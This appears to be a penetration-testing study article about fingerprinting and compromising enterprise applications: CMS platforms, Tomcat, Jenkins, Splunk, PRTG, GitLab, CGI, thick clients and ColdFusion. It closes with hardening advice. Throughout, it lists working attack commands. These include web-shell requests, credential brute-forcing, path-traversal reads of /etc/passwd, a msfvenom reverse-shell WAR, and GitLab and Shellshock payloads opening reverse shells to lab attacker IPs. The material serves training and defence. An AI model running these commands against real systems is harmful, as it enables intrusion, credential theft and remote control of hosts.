Why Application Fingerprinting Matters
Common enterprise applications deserve focused attention because they often expose far more than a normal website. A CMS, a CI/CD server, a ticketing portal, or a monitoring platform usually sits on top of sensitive data, administrative workflows, and privileged backend services. Even when the core application is well maintained, weak credentials, exposed admin panels, unsafe plugins, and risky default features can still create a direct path to code execution or lateral movement. For that reason, application fingerprinting is not just reconnaissance; it is the first step in understanding which attack paths are realistically available.
The goal at this stage is to build a usable application inventory instead of treating every web service like a generic HTTP target. In real environments, the same scope often contains WordPress blogs, Tomcat apps, Jenkins servers, GitLab instances, support portals, and internal monitoring dashboards. Each category has its own default paths, common ports, management interfaces, and historical weaknesses. Once those patterns are recognized early, the rest of the assessment becomes much more targeted and much less dependent on random guessing.
A practical starting workflow is to identify likely web ports across the entire scope, perform light service fingerprinting, and then generate screenshots to classify targets quickly. Tools such as EyeWitness and Aquatone are extremely useful here because they transform raw scan output into something a tester can triage visually. That matters when the scope contains many subdomains, development hosts, or alternate ports that would otherwise take too long to review manually.
sudo nmap -p 80,443,8000,8080,8180,8888,10000 --open -oA web_discovery -iL scope_list
sudo nmap --open -sV 10.129.201.50
eyewitness --web -x web_discovery.xml -d application_review
cat web_discovery.xml | ./aquatone -nmap
CMS Targets: WordPress, Joomla, and Drupal
Content management systems are common because they let teams publish quickly, but that convenience also expands the attack surface. Themes, plugins, modules, weak admin accounts, and old application versions often create more risk than the base product itself. During testing, CMS targets are valuable because they usually expose clear fingerprints, public version clues, and well documented plugin ecosystems that can be mapped quickly. They are also one of the most common places where an authenticated foothold turns into code execution through built-in customization features.
WordPress Attack Surface
WordPress can usually be identified from paths such as /wp-admin, /wp-content, and /wp-login.php, or by reviewing page source for theme and plugin references. The reconnaissance phase should focus on installed themes, plugin names, XML-RPC availability, and whether the login page leaks valid usernames through different error messages. Once a version or plugin is known, it becomes much easier to check for public issues or misuse of the admin dashboard. WordPress is especially attractive because small weaknesses often chain together cleanly: user enumeration, password guessing, admin access, and finally code execution.
curl -s http://blog.inlanefreight.local | grep WordPress
curl -s http://blog.inlanefreight.local/ | grep themes
curl -s http://blog.inlanefreight.local/?p=1 | grep plugins
sudo wpscan --url http://blog.inlanefreight.local --enumerate --api-token <TOKEN>
sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.local
If administrative access is obtained, WordPress often allows direct code execution through theme or plugin editing. A classic route is to modify a file such as 404.php, add a minimal PHP command wrapper, and then trigger it from the browser or with curl. In environments where manual editing is noisy or inconvenient, Metasploit can also upload a malicious plugin and return a session automatically. Plugin-specific flaws remain important as well, especially when public proof-of-concepts exist for issues like arbitrary file reads or web shell upload in third-party extensions.
curl "http://blog.inlanefreight.local/wp-content/themes/twentynineteen/404.php?0=id"
curl -s "http://blog.inlanefreight.local/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd"
python3 wp_discuz.py -u http://blog.inlanefreight.local -p '/?p=1'
curl -s "http://blog.inlanefreight.local/wp-content/uploads/2021/08/shell.php?cmd=id"
Joomla Administration Abuse
Joomla usually reveals itself through page source, robots.txt, README.txt, or files like administrator/manifests/files/joomla.xml. Once the platform is confirmed, enumeration should concentrate on version discovery, public extensions, and whether the admin login is exposed externally. Older tools such as joomlascan are not perfect, but they still help build a quick picture when combined with manual inspection. The main objective is to determine whether credentials can be guessed, reused, or paired with a known weakness in the administration area.
curl -s http://dev.inlanefreight.local/ | grep Joomla
curl -s http://dev.inlanefreight.local/README.txt | head -n 5
curl -s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml | xmllint --format -
droopescan scan joomla --url http://dev.inlanefreight.local/
python2.7 joomlascan.py -u http://dev.inlanefreight.local
sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
With admin access, Joomla becomes a straightforward code execution target because templates can be edited from the backend. A tester can modify a file such as error.php, add a controlled system($_GET[...]) call, and then execute commands by requesting that template directly. This is a good example of why authenticated access matters as much as a public RCE: sometimes the application already includes everything needed to turn a weak password into full server compromise. Older directory traversal issues and administrator-only vulnerabilities are also worth testing when the login portal is reachable but the application is not fully patched.
curl -s "http://dev.inlanefreight.local/templates/protostar/error.php?dcfdd5e021a869fcc6dfaef8bf31377e=id"
python2.7 joomla_dir_trav.py --url "http://dev.inlanefreight.local/administrator/" --username admin --password admin --dir /
Drupal Modules and Legacy RCE
Drupal often leaves strong fingerprints such as /node/<id>, CHANGELOG.txt, and source references that make version estimation easier than many custom applications. Enumeration usually starts with simple curl requests and then expands into a droopescan run to collect version hints, modules, and likely entry points. Older Drupal environments are especially valuable because administrative features like the PHP filter module, combined with weak credentials, can turn normal content management into direct command execution. Even when those built-in features are not available, public exploits such as the Drupalgeddon family still make version validation worth the effort.
curl -s http://drupal.inlanefreight.local | grep Drupal
curl -s http://drupal-acc.inlanefreight.local/CHANGELOG.txt | grep -m2 ""
droopescan scan drupal -u http://drupal.inlanefreight.local
curl -s "http://drupal-qa.inlanefreight.local/node/3?dcfdd5e021a869fcc6dfaef8bf31377e=id" | grep uid
Drupal also demonstrates how authenticated access can be weaponized without needing a memory corruption bug or a complex payload. If a tester can enable PHP filter support or upload a malicious module archive, a server-side web shell is usually only a few clicks away. When the environment is older, it may also be vulnerable to Drupalgeddon, Drupalgeddon2, or Drupalgeddon3, each of which can offer privilege escalation or remote execution through different paths. These checks should be performed carefully, but they remain some of the most historically important examples of how widely deployed CMS platforms become enterprise footholds.
wget https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
curl -s "http://drupal.inlanefreight.local/modules/captcha/shell.php?fe8edbabc5c5c9b7b764504cd22b17af=id"
python2.7 drupalgeddon.py -t http://drupal-qa.inlanefreight.local -u hacker -p pwnd
python3 drupalgeddon2.py
Java Platforms and Build Servers
Java application platforms and build servers are common in both internal and exposed environments, and they frequently provide administrative features powerful enough to compromise the underlying host. In this category, the application itself is often only half the story. The more important detail is what the platform can deploy, execute, or manage once a tester reaches a privileged interface. That is why Tomcat and Jenkins are such valuable targets during application assessments.
Tomcat Manager and AJP Exposure
Tomcat can often be identified from response headers, documentation pages such as /docs, default error pages, and common management paths like /manager or /host-manager. After fingerprinting, the next question is whether management access is exposed and protected only by weak or default credentials. If the answer is yes, the application can frequently be turned into a code execution platform by uploading a WAR archive that contains a JSP web shell or reverse shell payload. This is one of the cleanest examples of turning normal application administration into operating system access.
curl -s http://app-dev.inlanefreight.local:8080/docs/ | grep Tomcat
gobuster dir -u http://web01.inlanefreight.local:8180/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
python3 mgr_brute.py -U http://web01.inlanefreight.local:8180/ -P /manager -u /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt -p /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
curl "http://web01.inlanefreight.local:8180/backup/cmd.jsp?cmd=id"
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=4443 -f war > backup.war
Tomcat also shows why secondary services matter during enumeration. The AJP service on port 8009 may expose file read issues such as Ghostcat, allowing access to files like WEB-INF/web.xml, which often contain application internals and sensitive deployment details. Even if the flaw does not immediately deliver code execution, configuration files and servlet mappings can reveal passwords, internal endpoints, or helper applications worth pivoting into. For that reason, Tomcat testing should always include both the obvious web interface and the less visible protocol surfaces around it.
nmap -sV -p 8009,8080 app-dev.inlanefreight.local
python2.7 tomcat-ajp.lfi.py app-dev.inlanefreight.local -p 8009 -f WEB-INF/web.xml
Jenkins Script Console Abuse
Jenkins is a build automation platform, but from an attacker’s perspective it is also a remote execution framework that many organizations expose too broadly. A weakly protected Jenkins instance can leak project data, credentials, pipeline secrets, and access to internal infrastructure. The login page, /configureSecurity/, and the default appearance of the dashboard make identification easy, so the real work is validating whether authentication is missing, weak, or reused from another source. Once an administrator session is available, the Script Console is usually the fastest route to system command execution.
curl -I http://jenkins.inlanefreight.local:8000/login?from=%2F
curl -I http://jenkins.inlanefreight.local:8000/configureSecurity/
The Script Console accepts Groovy and can execute operating system commands directly on the Jenkins host. On Linux, that can mean a simple id check followed by a Bash reverse shell; on Windows, it may mean a command shell, PowerShell download cradle, or creation of a remote access path through RDP or WinRM. Jenkins is a reminder that not every application exploit needs a memory bug or a vulnerable plugin. Sometimes the application already includes an administrative feature that is safe only when strong access control is enforced.
def cmd = 'id'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout
Monitoring, Support, and Source Control
Monitoring dashboards, support portals, and source control platforms are operationally useful, but they also centralize data that is extremely valuable during a penetration test. Logs, tickets, repositories, alerts, and deployment settings often expose usernames, internal hostnames, credentials, and operational workflows. In many environments, these systems are better pivot points than the original public-facing application because they connect directly to internal infrastructure and are trusted by administrators. They also tend to be overlooked once they appear to be “just an internal tool.”
Splunk and PRTG as High-Value Admin Targets
Splunk is especially important because it often runs with high privileges and stores large amounts of security and operational data. Enumeration should verify ports 8000 and 8089, test for trial or misconfigured free deployments, and check whether the application still uses default or weak credentials. If administrative access is gained, Splunk can execute code by installing a custom application that contains a scripted input or helper script. That technique turns a logging platform into a command execution foothold without needing a traditional exploit chain.
sudo nmap -sV 10.129.201.50
tar -cvzf updater.tar.gz splunk_shell/
sudo nc -lnvp 443
PRTG is another strong target because version clues are easy to extract and older builds have had command injection issues in notification handling. Enumeration should confirm the exact version from the page and then test credentials carefully, since administrators often change the username or first password but still fall back to predictable values. If the vulnerable notification feature is available, a tester can queue a PowerShell command through the notification parameter field and then validate access over SMB, WinRM, or RDP. In practice, that means a monitoring tool designed to watch the network can become the attacker’s entry into it.
sudo nmap -sV -p- --open -T4 10.129.201.50
curl -s http://10.129.201.50:8080/index.htm -A "Mozilla/5.0 (compatible; MSIE 7.01; Windows NT 5.0)" | grep version
sudo crackmapexec smb 10.129.201.50 -u prtgadm1 -p 'Pwn3d_by_PRTG!'
osTicket and GitLab for Data Exposure and Chained Access
osTicket is a good example of a platform that may not be heavily exploitable itself but still creates strong indirect opportunities. A support portal can disclose valid corporate email addresses, usernames, workflow details, and correspondence that helps with password spraying or account reuse. When that portal is paired with OSINT results, breach data, or a second exposed service such as VPN or GitLab, the support system can become the missing link that converts a partial lead into valid access. In real engagements, this kind of low-noise correlation is often more valuable than a loud exploit attempt.
sudo python3 dehashed.py -q inlanefreight.local -p
cat ilfreight_subdomains
curl -I http://support.inlanefreight.local/scp/login.php
GitLab adds another layer because repositories, public projects, and user enumeration all create opportunities before code execution is even considered. A tester should check /users/sign_in, /help, and /explore, then look for public code, embedded secrets, or usernames that can be sprayed safely. If valid credentials are obtained and the version is vulnerable, authenticated RCE paths such as the ExifTool issue in older Community Edition builds become highly relevant. GitLab is a strong reminder that source control exposure is rarely just about code; it is usually about secrets, trust relationships, and automation context.
./gitlab_userenum.sh --url http://gitlab.inlanefreight.local:8081/ --userlist users.txt
python3 gitlab_13_10_2_rce.py -t http://gitlab.inlanefreight.local:8081 -u mrb3n -p password1 -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.15 8443 >/tmp/f'
nc -lnvp 8443
CGI and Legacy Gateway Surfaces
CGI applications still appear in assessments more often than many defenders expect, especially on older web servers, internal tooling, and application containers that survived several migrations. They matter because they often pass user-controlled values into shell commands or legacy scripts with minimal filtering. Even when the target application itself looks small, the underlying risk can be large because CGI frequently acts as a bridge between a web request and an operating system command. That makes these endpoints ideal candidates for command injection testing and historical bug validation.
One common pattern is a batch or command script that accepts input directly from the query string. If a tester finds a valid path such as /cgi/welcome.bat, command separators or encoded paths may allow execution of built-in system binaries even when simple payloads are filtered. Enumeration with ffuf or gobuster is usually enough to discover these routes, and manual requests can confirm whether command output is reflected. The key lesson is that a single forgotten CGI helper can undo the security of an otherwise modern stack.
ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ.bat
curl "http://10.129.204.227:8080/cgi/welcome.bat?&dir"
curl "http://10.129.204.227:8080/cgi/welcome.bat?&c%3A%5Cwindows%5Csystem32%5Cwhoami.exe"
Shellshock remains the classic CGI example because it shows how environment-variable handling in Bash can become remote code execution through a normal HTTP header. When a CGI script passes attacker-controlled headers into a vulnerable Bash process, a request header such as User-Agent can inject system commands. The technique is old, but it still appears on unmaintained systems and embedded devices, so it deserves a place in modern testing playbooks. Confirming Shellshock with a harmless file read and then moving to a reverse shell demonstrates both the simplicity and the impact of this bug class.
gobuster dir -u http://10.129.204.231/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -x cgi
curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' http://10.129.204.231/cgi-bin/access.cgi
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.38/7777 0>&1' http://10.129.204.231/cgi-bin/access.cgi
sudo nc -lvnp 7777
Thick Client Applications and Reversible Trust
Thick client applications deserve special attention because they often hide the same server-side risks behind a desktop interface. Instead of browsing source code in a browser, the tester works through binaries, JAR files, DLLs, network traces, and local configuration files. These applications frequently embed connection strings, service credentials, hostnames, or signing logic that developers assume end users will never inspect. In practice, they are often easier to reverse than expected, especially when they rely on .NET, Java, or temporary helper scripts.
One common pattern is credential recovery from helper binaries or service wrappers. A local executable may drop temporary files, decode Base64 payloads, or reconstruct another program at runtime using hardcoded credentials. Monitoring that behavior with tools such as ProcMon, strings, dnSpy, de4dot, or a debugger can reveal usernames, passwords, and business logic that are never visible in the interface itself. Thick client testing therefore combines reverse engineering with application assessment, and the reward is often direct access to a backend service or an administrative workflow.
gdb ./octopus_checker
strings64.exe .\restart-service_00000000001E0000.bin
Java-based clients add another layer because the JAR can often be unpacked, modified, and rebuilt after signature checks are removed. That makes it possible to change hardcoded ports, reveal embedded secrets, bypass client-side restrictions, or alter the data sent to the server. In the Fatty example from the source notes, reversing the client exposed a secret value, enabled path traversal against the file browser, and eventually led to a controlled SQL injection path by modifying how usernames and passwords were handled before submission. The broader lesson is simple: client-side trust boundaries are weak, and anything enforced only in the desktop app should be treated as attacker-controlled.
jar -cmf .\META-INF\MANIFEST.MF ..\fatty-client-new.jar *
javac -cp fatty-client-new.jar fatty-client-new.jar.src\htb\fatty\client\gui\ClientGuiTest.java
jar -cmf META-INF\MANIFEST.MF traverse.jar .
Legacy Enterprise Edge Cases
Large environments almost always contain a set of older or less visible applications that do not fit neatly into a single category but still present major risk. ColdFusion, IIS shortname enumeration, LDAP-backed portals, mass assignment bugs, and helper applications that connect to services all fall into this category. These targets are useful because they often reward patient enumeration rather than aggressive exploitation. A version string, a leaked path, or a single directory listing can be enough to unlock an entire line of testing.
ColdFusion is a strong example because it exposes recognizable paths such as /CFIDE/administrator and has a long history of file read, traversal, upload, and RCE issues. Once the platform and version are identified, searchsploit and light validation can quickly show whether the target is missing critical fixes. Path traversal flaws may expose configuration files like password.properties, while unauthenticated upload or command execution bugs can lead directly to a shell. Because older ColdFusion deployments are often forgotten rather than actively maintained, they remain high-value targets in mature networks.
nmap -p- -sC -Pn 10.129.247.30 --open
searchsploit adobe coldfusion
searchsploit -p 14641
python2 14641.py 10.129.204.230 8500 "../../../../../../../../ColdFusion8/lib/password.properties"
python3 50057.py
IIS shortname enumeration is different but equally useful because it helps infer hidden files and directories from Windows 8.3 filename behavior. When direct listing is blocked, a shortname scanner and a tailored wordlist can still recover likely full names and reveal sensitive application content. LDAP-backed applications create another avenue when authentication or search filters are built insecurely; poor filter construction can lead to LDAP injection, user discovery, or bypass scenarios. Mass assignment issues follow the same pattern on the application layer, where server-side trust in submitted fields lets an attacker set values that should never be user controlled, such as approval or administrative flags.
java -jar iis_shortname_scanner.jar 0 5 http://10.129.204.231/
egrep -r ^transf /usr/share/wordlists/* | sed 's/^[^:]*://' > /tmp/list.txt
gobuster dir -u http://10.129.204.231/ -w /tmp/list.txt -x .aspx,.asp
ldapsearch -H ldap://ldap.example.com:389 -D "cn=admin,dc=example,dc=com" -w secret123 -b "ou=people,dc=example,dc=com" "(mail=john.doe@example.com)"
nmap -p- -sC -sV --open --min-rate=1000 10.129.204.229
Hardening Priorities
The main defensive lesson across all of these applications is that compromise usually happens at the intersection of exposure, weak authentication, and unsafe convenience features. The exact technology changes from WordPress to Tomcat to GitLab, but the same root causes appear again and again: exposed admin portals, stale versions, reused passwords, dangerous upload or scripting functions, and poor visibility into what is actually running. That is why application hardening should begin with inventory and access control, not with a last-minute patching sprint after a finding is reported. If an organization does not know which applications are exposed internally and externally, it cannot protect them consistently.
Practical hardening should focus on a few high-value controls first:
- Change default credentials immediately and enforce strong authentication, especially for administrator roles.
- Restrict access to management interfaces such as WordPress admin, Tomcat Manager, Jenkins Script Console, GitLab admin pages, and monitoring dashboards.
- Disable unsafe features when they are not required, such as in-browser code editors, unnecessary module upload paths, or legacy CGI helpers.
- Patch regularly and verify versions, especially for CMS plugins, Java middleware, ColdFusion, and internal appliances that tend to fall behind.
- Monitor exposed applications continuously with inventories, screenshots, service scans, and change tracking so forgotten systems are caught before attackers find them.
- Review thick clients, scripts, and helper binaries for embedded secrets, connection strings, and unsafe trust assumptions instead of treating them as opaque software.
Reference
This article is based on my personal study notes from the Information Security Foundations track.
Full repository: https://github.com/lameiro0x/pentesting-path-htb